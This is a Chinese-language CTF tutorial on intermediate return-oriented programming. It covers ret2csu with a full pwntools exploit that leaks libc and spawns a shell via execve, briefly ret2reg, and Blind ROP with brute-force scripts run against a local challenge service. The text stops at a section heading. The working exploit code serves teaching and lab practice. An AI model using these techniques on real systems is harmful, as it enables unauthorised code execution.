10.pwn 中级ROP

news2024/11/24 1:58:25

ret2csu

什么是ret2csu?

这个其实就是在程序中一般都会有一段万能的控制参数的gadgets,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值,并且还可以call我们指定的地址。然后劫持程序执行流的时候,劫持到这个__libc_csu_init函数去执行(这个函数是用来初始化libc的,因此只要是动态链接的程序就都会有这个函数),从而达到控制参数的目的

原理 

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

这里我们可以利用以下几点

这个循环会一直执行,直到 rbx 的值等于 rbp,这意味着已经遍历完初始化数组中的所有函数。每次循环调用一个函数,并将 r13, r14, r15 作为参数传递给它。

如果攻击者能够控制 rbxr12 的值,他们可以操纵这个循环,使其调用任意函数而不是初始化数组中的函数。这是通过栈溢出漏洞实现的,攻击者可以在栈上构造特定的值来覆盖这些寄存器的值。

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • __libc_csu_init 函数中,提到的循环是指从 loc_400600 开始的代码块,它的作用是遍历初始化数组(initialization array),并调用其中的每个函数。这个循环是 C++ 静态初始化的一个关键部分,用于在程序启动时执行全局对象的构造函数。

    让我们更详细地看看这个循环是如何工作的:

    .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call    qword ptr [r12+rbx*8]
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp
    .text:0000000000400614                 jnz     short loc_400600

  • mov rdx, r13:将 r13 的值移动到 rdx 寄存器。rdx 通常用于传递第三个参数。
  • mov rsi, r14:将 r14 的值移动到 rsi 寄存器。rsi 通常用于传递第二个参数。
  • mov edi, r15d:将 r15dr15 的低 32 位)移动到 edi 寄存器。edi 通常用于传递第一个参数。
  • call qword ptr [r12+rbx*8]:根据 r12 基址和 rbx 索引(每个索引项为 8 字节,因为指针大小是 8 字节)调用一个函数。这是循环的核心,它调用初始化数组中的函数。
  • add rbx, 1:将 rbx 的值增加 1,准备索引下一个函数。
  • cmp rbx, rbp:比较 rbx 和 rbp 的值,检查是否已经遍历完数组。
  • jnz short loc_400600:如果 rbx 不等于 rbp,则跳转到 loc_400600 继续循环。
  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

示例 

这里我们以蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 为例进行介绍。首先检查程序的安全保护

➜  ret2__libc_csu_init git:(iromise) ✗ checksec level5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序为 64 位,开启了堆栈不可执行保护。

其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。

注:这里我尝试在我本机使用 system 函数来获取 shell 失败了,应该是环境变量的问题,所以这里使用的是 execve 来获取 shell。

基本利用思路如下

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。

exp 如下

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
##当 csu 函数执行时,它发送一个payload,该payload设置了寄存器值并调用 write 函数。由于write 函数的地址存储在 write_got 中,这次调用将导致 write 的实际地址被写入到标准输出。攻击者可以通过接收这个输出来获取 write 函数的地址。

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
  1. from pwn import *:导入pwntools库,这是一个用于CTF和二进制漏洞利用的工具库。

  2. from LibcSearcher import LibcSearcher:从自定义模块导入LibcSearcher类,用于确定libc库的基址和函数地址。

  3. #context.log_level = 'debug':注释掉的代码,如果取消注释,将设置pwntools的日志级别为debug,输出更多调试信息。

  4. level5 = ELF('./level5'):加载目标程序level5的二进制文件,并使用pwntools的ELF类进行分析。

  5. sh = process('./level5'):启动目标程序level5的实例,并使用pwntools的process函数进行交互。

  6. write_got = level5.got['write']read_got = level5.got['read']:获取write和read函数的GOT表项地址。

  7. main_addr = level5.symbols['main']:获取main函数的地址。

  8. bss_base = level5.bss():获取BSS段的基址。

  9. csu_front_addrcsu_end_addr:设置libc库中__libc_csu_init函数的起始和结束地址。

  10. fakeebp = 'b' * 8:创建一个8字节的伪造EBP值,用于覆盖栈上的EBP寄存器。

  11. def csu(...):定义一个名为csu的函数,用于构建和发送栈溢出payload。

  12. payload = 'a' * 0x80 + fakeebp:创建一个由0x80个 'a' 字符组成的数组,后面跟着伪造的EBP值,用于覆盖栈帧。。

  13. payload += p64(...):向payload添加控制寄存器的值和__libc_csu_init的结束地址

    这里实际上是在构建一个栈溢出payload,其中包含了多个64位的值。这些值被添加到payload中,以覆盖栈上的寄存器和返回地址。然而,p64(csu_end_addr) 并不对应 csu 函数的任何参数,它是payload的一个独立部分,具有特定的目的:

  14. 栈溢出利用p64(csu_end_addr) 是payload的第一个部分,它设置了一个返回地址。当程序执行到当前栈帧的末尾时,它会尝试返回到这个地址。

  15. ROP链的开始:通过设置 csu_end_addr 作为返回地址,攻击者可以利用程序的控制流跳转到 __libc_csu_init 函数的结尾,然后继续执行到 csu_front_addr,这是 __libc_csu_init 函数的开始地址。这样,程序就形成了一个循环,可以在这个循环中执行ROP(Return-Oriented Programming)攻击。

  16. 参数传递:紧随 csu_end_addr 之后的 p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) 部分,实际上是在为 csu 函数调用准备参数。这些参数将被放置在栈上,当 __libc_csu_init 函数执行时,它们将被pop到相应的寄存器中。

  17. 函数调用csu 函数的参数 rbx, rbp, r12, r13, r14, r15 被用于设置寄存器值,这些寄存器值将在 csu_front_addr 处的代码执行时使用。例如,r12 可能被设置为要调用的函数的地址,rbp 可能用于控制程序流程等。

  18. 最终的返回地址:在payload的最后,p64(last) 设置了最终的返回地址,这通常是攻击者想要执行的代码的地址,比如shellcode的地址或libc中的某个函数地址。)

  19. payload += p64(csu_front_addr):添加__libc_csu_init的起始地址。

  20. payload += 'a' * 0x38:添加填充字符以对齐到正确的栈位置。

  21. payload += p64(last):添加最终的返回地址。

  22. sh.send(payload)sleep(1):发送payload到目标程序并等待1秒。

  23. sh.recvuntil(...):接收数据直到特定字符串出现。

  24. csu(0, 1, write_got, 8, write_got, 1, main_addr):调用 csu 函数,设置参数以调用 write 函数。这里 r12 被设置为 write_got 的地址,r13 设置为8,表示写入8个字节。r14 和 r15 被设置为 write_got 的地址,这样 write 函数实际上会将 write 函数的地址写入到它的GOT表项中

  25. rbx=0:第一个参数设置为0,这通常用于控制循环或条件语句。
  26. rbp=1:第二个参数设置为1,根据之前的注释,这可能用于控制程序流程,避免执行不必要的跳转。
  27. r12=write_got:第三个参数是 write 函数的GOT(全局偏移表)地址。在Linux程序中,GOT是一个存储函数地址的表,当程序调用一个函数时,它会通过GOT来解析函数的实际地址。
  28. r13=8:第四个参数设置为8,这通常是传递给函数的第三个参数,这里可能表示要写入的字节数。
  29. r14=write_got:第五个参数也是 write_got,设置为第二个参数寄存器 rsi,通常用于存储函数的第二个参数。
  30. r15=1:第六个参数设置为1,根据之前的注释,这里 r15d(即 edi 的低32位)将被用作 write 函数的第一个参数 fd(文件描述符),这里使用1代表标准输出(stdout)。
  31. last=main_addr:最后一个参数是 main 函数的地址,这将作为payload中最终的返回地址,使得在payload执行完毕后程序跳转回 main 函数的开始处。
  32. write_addr = u64(sh.recv(8)):接收8字节数据并转换为无符号64位整数,获取write函数的地址。

  33. libc = LibcSearcher(...)libc_base = ...:使用LibcSearcher确定libc的基址。

  34. execve_addr = ...:计算execve函数的地址并打印。

  35. csu(0, 1, read_got, 16, bss_base, 0, main_addr)。

  36. rbx=0:第一个参数设置为0,这通常用于控制循环计数或某些条件判断。

  37. rbp=1:第二个参数设置为1,根据之前的模式,这可能用于控制程序流程,例如,如果某个跳转指令依赖于 rbp 的值,将其设置为1可以防止跳转,确保执行流程按照攻击者的预期进行。

  38. r12=read_got:第三个参数是 read 函数的GOT地址。在Linux程序中,GOT是一个存储函数地址的表。这里,攻击者希望 read 函数被调用时使用这个GOT条目作为函数地址。

  39. r13=16:第四个参数设置为16,这表示 read 函数的第三个参数,即从标准输入读取的字节数。

  40. r14=bss_base:第五个参数是BSS段的基址。BSS段是程序中未初始化的全局变量和静态变量的存储区域。在这里,攻击者希望 read 函数将数据读入到BSS段的开始位置。

  41. r15=0:第六个参数设置为0,这可能用于控制 read 函数的第一个参数(文件描述符),通常0代表标准输入。

  42. last=main_addr:最后一个参数是 main 函数的地址,这将作为payload中最终的返回地址。攻击者希望在 read 函数执行完毕后,程序跳转回 main 函数的开始处重新执行,这样可以绕过程序中可能存在的一些安全检查。

  43. sh.send(...):发送execve函数地址和'/bin/sh'字符串。

  44. csu(...):最后一次调用csu,设置寄存器值来调用execve函数。

  45. sh.interactive():进入交互模式,允许用户与目标程序的shell交互。

  46. #gdb.attach(sh):注释掉的代码,用于附加GDB调试器到目标程序的进程。

思考 

改进 

在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法

改进 1 - 提前控制 RBX 与 RBP

可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。

改进 2 - 多次利用 

其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件

  • 漏洞可以被多次触发
  • 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。

gadget

其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。

需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器

  • 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
  • 利用中间部分的代码控制了 rdx,rsi,edi。

而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。

gef➤  x/5i 0x000000000040061A
   0x40061a <__libc_csu_init+90>:   pop    rbx
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
gef➤  x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
gef➤  x/5i 0x000000000040061A+3
   0x40061d <__libc_csu_init+93>:   pop    rsp
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
gef➤  x/5i 0x000000000040061e
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061f
   0x40061f <__libc_csu_init+95>:   pop    rbp
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
gef➤  x/5i 0x0000000000400621
   0x400621 <__libc_csu_init+97>:   pop    rsi
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061A+9
   0x400623 <__libc_csu_init+99>:   pop    rdi
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x400630 <__libc_csu_fini>:  repz ret

题目 ¶

  • 2016 XDCTF pwn100
  • 2016 华山杯 SU_PWN

参考阅读 ¶

  • 一步一步学ROP之linux_x64篇 | WooYun知识库
  • 一步一步学ROP之gadgets和2free篇 | WooYun知识库

ret2reg¶

原理 ¶

  1. 查看溢出函返回时哪个寄存值指向溢出缓冲区空间
  2. 然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
  3. reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)

JOP¶

Jump-oriented programming

COP¶

Call-oriented programming

BROP¶

基本介绍 ¶

BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind,下面是作者对应的 paper 和 slides, 以及作者相应的介绍

  • paper
  • slide

BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。

攻击条件 ¶

  1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理 ¶

目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。

基本思路 ¶

在 BROP 中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。
栈溢出长度 ¶

直接从 1 暴力枚举即可,直到发现程序崩溃。

Stack Reading¶

如下所示,这是目前经典的栈布局

buffer|canary|saved fame pointer|saved returned address

要向得到 canary 以及之后的变量,我们需要解决第一个问题,如何得到 overflow 的长度,这个可以通过不断尝试来获取。

其次,关于 canary 以及后面的变量,所采用的的方法一致,这里我们以 canary 为例。

canary 本身可以通过爆破来获取,但是如果只是愚蠢地枚举所有的数值的话,显然是低效的。

需要注意的是,攻击条件 2 表明了程序本身并不会因为 crash 有变化,所以每次的 canary 等值都是一样的。所以我们可以按照字节进行爆破。正如论文中所展示的,每个字节最多有 256 种可能,所以在 32 位的情况下,我们最多需要爆破 1024 次,64 位最多爆破 2048 次。

Blind ROP¶
基本思路 ¶

最朴素的执行 write 函数的方法就是构造系统调用。

pop rdi; ret # socket
pop rsi; ret # buffer
pop rdx; ret # length
pop rax; ret # write syscall number
syscall

但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取。

BROP gadgets¶

首先,在 libc_csu_init 的结尾一长串的 gadgets,我们可以通过偏移来获取 write 函数调用的前两个参数。正如文中所展示的

find a call write¶

我们可以通过 plt 表来获取 write 的地址。

control rdx¶

需要注意的是,rdx 只是我们用来输出程序字节长度的变量,只要不为 0 即可。一般来说程序中的 rdx 经常性会不是零。但是为了更好地控制程序输出,我们仍然尽量可以控制这个值。但是,在程序

pop rdx; ret

这样的指令几乎没有。那么,我们该如何控制 rdx 的数值呢?这里需要说明执行 strcmp 的时候,rdx 会被设置为将要被比较的字符串的长度,所以我们可以找到 strcmp 函数,从而来控制 rdx。

那么接下来的问题,我们就可以分为两项

  • 寻找 gadgets
  • 寻找 PLT 表
    • write 入口
    • strcmp 入口
寻找 GADGETS¶

首先,我们来想办法寻找 gadgets。此时,由于尚未知道程序具体长什么样,所以我们只能通过简单的控制程序的返回地址为自己设置的值,从而而来猜测相应的 gadgets。而当我们控制程序的返回地址时,一般有以下几种情况

  • 程序直接崩溃
  • 程序运行一段时间后崩溃
  • 程序一直运行而并不崩溃

为了寻找合理的 gadgets,我们可以分为以下两步

寻找 stop gadgets¶

所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。

其实 stop gadget 也并不一定得是上面的样子,其根本的目的在于告诉攻击者,所测试的返回地址是一个 gadgets。

之所以要寻找 stop gadgets,是因为当我们猜到某个 gadgtes 后,如果我们仅仅是将其布置在栈上,由于执行完这个 gadget 之后,程序还会跳到栈上的下一个地址。如果该地址是非法地址,那么程序就会 crash。这样的话,在攻击者看来程序只是单纯的 crash 了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。例子如下图

但是,如果我们布置了stop gadget,那么对于我们所要尝试的每一个地址,如果它是一个 gadget 的话,那么程序不会崩溃。接下来,就是去想办法识别这些 gadget。

识别 gadgets¶

那么,我们该如何识别这些 gadgets 呢?我们可以通过栈布局以及程序的行为来进行识别。为了更加容易地进行介绍,这里定义栈上的三种地址

  • Probe
    • 探针,也就是我们想要探测的代码地址。一般来说,都是 64 位程序,可以直接从 0x400000 尝试,如果不成功,有可能程序开启了 PIE 保护,再不济,就可能是程序是 32 位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
  • Stop
    • 不会使得程序崩溃的 stop gadget 的地址。
  • Trap
    • 可以导致程序崩溃的地址

我们可以通过在栈上摆放不同顺序的 Stop 与 Trap 从而来识别出正在执行的指令。因为执行 Stop 意味着程序不会崩溃,执行 Trap 意味着程序会立即崩溃。这里给出几个例子

  • probe,stop,traps(traps,traps,...)
    • 我们通过程序崩溃与否 (如果程序在 probe 处直接崩溃怎么判断) 可以找到不会对栈进行 pop 操作的 gadget,如
      • ret
      • xor eax,eax; ret
  • probe,trap,stop,traps
    • 我们可以通过这样的布局找到只是弹出一个栈变量的 gadget。如
      • pop rax; ret
      • pop rdi; ret
  • probe, trap, trap, trap, trap, trap, trap, stop, traps
    • 我们可以通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 相似的 gadget。这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会崩溃的,,这里一般来说会遇到两处比较有意思的地方
      • plt 处不会崩,,
      • _start 处不会崩,相当于程序重新执行。

之所以要在每个布局的后面都放上 trap,是为了能够识别出,当我们的 probe 处对应的地址执行的指令跳过了 stop,程序立马崩溃的行为。

但是,即使是这样,我们仍然难以识别出正在执行的 gadget 到底是在对哪个寄存器进行操作。

但是,需要注意的是向 BROP 这样的一下子弹出 6 个寄存器的 gadgets,程序中并不经常出现。所以,如果我们发现了这样的 gadgets,那么,有很大的可能性,这个 gadgets 就是 brop gadgets。此外,这个 gadgets 通过错位还可以生成 pop rsp 等这样的 gadgets,可以使得程序崩溃也可以作为识别这个 gadgets 的标志。

此外,根据我们之前学的 ret2libc_csu_init 可以知道该地址减去 0x1a 就会得到其上一个 gadgets。可以供我们调用其它函数。

需要注意的是 probe 可能是一个 stop gadget,我们得去检查一下,怎么检查呢?我们只需要让后面所有的内容变为 trap 地址即可。因为如果是 stop gadget 的话,程序会正常执行,否则就会崩溃。看起来似乎很有意思.

寻找 PLT¶

如下图所示,程序的 plt 表具有比较规整的结构,每一个 plt 表项都是 16 字节。而且,在每一个表项的 6 字节偏移处,是该表项对应的函数的解析路径,即程序最初执行该函数的时候,会执行该路径对函数的 got 地址进行解析。

此外,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。

控制 RDX¶

当我们找到 plt 表之后,下面,我们就该想办法来控制 rdx 的数值了,那么该如何确认 strcmp 的位置呢?需要提前说的是,并不是所有的程序都会调用 strcmp 函数,所以在没有调用 strcmp 函数的情况下,我们就得利用其它方式来控制 rdx 的值了。这里给出程序中使用 strcmp 函数的情况。

之前,我们已经找到了 brop 的 gadgets,所以我们可以控制函数的前两个参数了。与此同时,我们定义以下两种地址

  • readable,可读的地址。
  • bad, 非法地址,不可访问,比如说 0x0。

那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况

  • strcmp(bad,bad)
  • strcmp(bad,readable)
  • strcmp(readable,bad)
  • strcmp(readable,readable)

只有最后一种格式,程序才会正常执行。

:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。

那么我们该如何具体地去做呢?有一种比较直接的方法就是从头到尾依次扫描每个 plt 表项,但是这个却比较麻烦。我们可以选择如下的一种方法

  • 利用 plt 表项的慢路径
  • 并且利用下一个表项的慢路径的地址来覆盖返回地址

这样,我们就不用来回控制相应的变量了。

当然,我们也可能碰巧找到 strncmp 或者 strcasecmp 函数,它们具有和 strcmp 一样的效果。

寻找输出函数 ¶

寻找输出函数既可以寻找 write,也可以寻找 puts。一般现先找 puts 函数。不过这里为了介绍方便,先介绍如何寻找 write。

寻找 write@plt¶

当我们可以控制 write 函数的三个参数的时候,我们就可以再次遍历所有的 plt 表,根据 write 函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值

  • 使用 rop chain,同时使得每个 rop 对应的文件描述符不一样
  • 同时打开多个连接,并且我们使用相对较高的数值来试一试。

需要注意的是

  • linux 默认情况下,一个进程最多只能打开 1024 个文件描述符。
  • posix 标准每次申请的文件描述符数值总是当前最小可用数值。

当然,我们也可以选择寻找 puts 函数。

寻找 puts@plt¶

寻找 puts 函数 (这里我们寻找的是 plt),我们自然需要控制 rdi 参数,在上面,我们已经找到了 brop gadget。那么,我们根据 brop gadget 偏移 9 可以得到相应的 gadgets(由 ret2libc_csu_init 中后续可得)。同时在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。所以我们可以根据这个来进行判断。一般来说,其 payload 如下

payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
攻击总结 ¶

此时,攻击者已经可以控制输出函数了,那么攻击者就可以输出. text 段更多的内容以便于来找到更多合适 gadgets。同时,攻击者还可以找到一些其它函数,如 dup2 或者 execve 函数。一般来说,攻击者此时会去做下事情

  • 将 socket 输出重定向到输入输出
  • 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
  • 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。

例子 ¶

这里我们以 HCTF2016 的出题人失踪了 为例。基本思路如下

确定栈溢出长度 ¶
def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1

根据上面,我们可以确定,栈溢出的长度为 72。同时,根据回显信息可以发现程序并没有开启 canary 保护,否则,就会有相应的报错内容。所以我们不需要执行 stack reading。

寻找 stop gadgets¶

寻找过程如下

def get_stop_addr(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\n')
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            sh.recv()
            sh.close()
            print 'one success addr: 0x%x' % (addr)
            return addr
        except Exception:
            addr += 1
            sh.close()

这里我们直接尝试 64 位程序没有开启 PIE 的情况,因为一般是这个样子的,,,如果开启了,,那就按照开启了的方法做,,结果发现了不少,,我选择了一个貌似返回到源程序中的地址

one success stop gadget addr: 0x4006b6
识别 brop gadgets¶

